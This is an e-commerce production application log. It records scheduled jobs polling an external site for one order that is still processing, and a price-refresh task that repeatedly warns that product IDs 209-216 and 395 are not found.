[2026-03-24 08:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KGr59FRBS90ddecL0wBF2mAtRi5N3bOs","execution_time":"2026-03-24 08:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 08:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 08:00:03] production.INFO: async() رجع: true  
[2026-03-24 08:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:00:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02"} 
[2026-03-24 08:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rB3bwLJBaofIBXxilbx1gaBc3qamVU1C","execution_time":"2026-03-24 08:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02"} 
[2026-03-24 08:04:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:04:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2Tu1otu9qotXYwqTrPacVKgnXkYPHtIP","execution_time":"2026-03-24 08:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:05:04] production.INFO: async() رجع: true  
[2026-03-24 08:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02"} 
[2026-03-24 08:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:06:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:06:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"itcVpd8u8col8aFqDUc0z8x6bM9Y0oHh","execution_time":"2026-03-24 08:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03"} 
[2026-03-24 08:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:08:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"jzCCix9Qa5co7lvThVIJY9dpdENdPhl6","execution_time":"2026-03-24 08:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:10:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03"} 
[2026-03-24 08:10:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:10:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:10:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:10:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:10:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:10:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:10:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:10:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZTdMIMX5yfi6pirhAeMb43HGYz0ay3YT","execution_time":"2026-03-24 08:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:10:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:10:05] production.INFO: async() رجع: true  
[2026-03-24 08:10:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:10:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:10:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:10:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:12:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01"} 
[2026-03-24 08:12:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","total_operations":1,"sites_count":1} 
[2026-03-24 08:12:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:12:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:12:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:12:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:12:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:12:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"vnMv4XvfwTOOfQDPmkcDFkzpzQ52VbBT","execution_time":"2026-03-24 08:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01"} 
[2026-03-24 08:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","total_operations":1,"sites_count":1} 
[2026-03-24 08:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:14:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3H88dV4ZsheDC2YZtK6eYdBsHFAl8Iar","execution_time":"2026-03-24 08:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 08:15:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 08:15:03] production.INFO: async() رجع: true  
[2026-03-24 08:15:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:15:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:15:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02"} 
[2026-03-24 08:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5ywgvSCtyFTZnoFp6iZLIKUtnUXC1KAG","execution_time":"2026-03-24 08:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02"} 
[2026-03-24 08:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:18:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wnLPoIUx83vsgd580Lf3JzlYHYvYf4cU","execution_time":"2026-03-24 08:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02"} 
[2026-03-24 08:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
